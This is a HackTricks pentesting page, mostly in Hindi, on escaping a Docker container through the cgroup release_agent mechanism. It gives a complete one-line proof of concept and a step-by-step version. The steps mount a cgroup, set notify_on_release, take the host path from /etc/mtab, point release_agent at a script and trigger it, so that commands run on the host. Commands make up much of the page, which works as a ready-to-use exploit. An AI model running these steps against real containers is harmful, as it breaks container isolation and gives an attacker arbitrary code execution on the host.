Docker release_agent cgroups escape

Support HackTricks

अधिक जानकारी के लिए, कृपया मूल ब्लॉग पोस्ट** को देखें।** यह केवल एक सारांश है:

Original PoC:

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

The proof of concept (PoC) demonstrates a method to exploit cgroups by creating a release_agent file and triggering its invocation to execute arbitrary commands on the container host. Here's a breakdown of the steps involved:

  1. पर्यावरण तैयार करें:

  • एक निर्देशिका /tmp/cgrp बनाई जाती है जो cgroup के लिए माउंट पॉइंट के रूप में कार्य करती है।

  • RDMA cgroup नियंत्रक को इस निर्देशिका में माउंट किया जाता है। RDMA नियंत्रक की अनुपस्थिति की स्थिति में, वैकल्पिक के रूप में memory cgroup नियंत्रक का उपयोग करने की सिफारिश की जाती है।

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
  1. बच्चे Cgroup सेट करें:

  • एक बच्चे cgroup जिसका नाम "x" है, माउंट किए गए cgroup निर्देशिका के भीतर बनाया गया है।

  • "x" cgroup के लिए सूचनाएँ सक्षम की जाती हैं, इसके notify_on_release फ़ाइल में 1 लिखकर।

echo 1 > /tmp/cgrp/x/notify_on_release
  1. रिलीज एजेंट को कॉन्फ़िगर करें:

  • होस्ट पर कंटेनर का पथ /etc/mtab फ़ाइल से प्राप्त किया जाता है।

  • फिर cgroup की release_agent फ़ाइल को प्राप्त किए गए होस्ट पथ पर स्थित /cmd नामक स्क्रिप्ट को निष्पादित करने के लिए कॉन्फ़िगर किया जाता है।

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
  1. /cmd स्क्रिप्ट बनाएं और कॉन्फ़िगर करें:

  • /cmd स्क्रिप्ट कंटेनर के अंदर बनाई जाती है और इसे ps aux निष्पादित करने के लिए कॉन्फ़िगर किया जाता है, जिसका आउटपुट कंटेनर में /output नामक फ़ाइल में पुनर्निर्देशित किया जाता है। होस्ट पर /output का पूरा पथ निर्दिष्ट किया गया है।

echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
  1. हमला शुरू करें:

  • "x" चाइल्ड cgroup के भीतर एक प्रक्रिया शुरू की जाती है और तुरंत समाप्त कर दी जाती है।

  • यह release_agent (जो /cmd स्क्रिप्ट है) को सक्रिय करता है, जो होस्ट पर ps aux चलाता है और आउटपुट को कंटेनर के भीतर /output पर लिखता है।

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
HackTricks का समर्थन करें

Last updated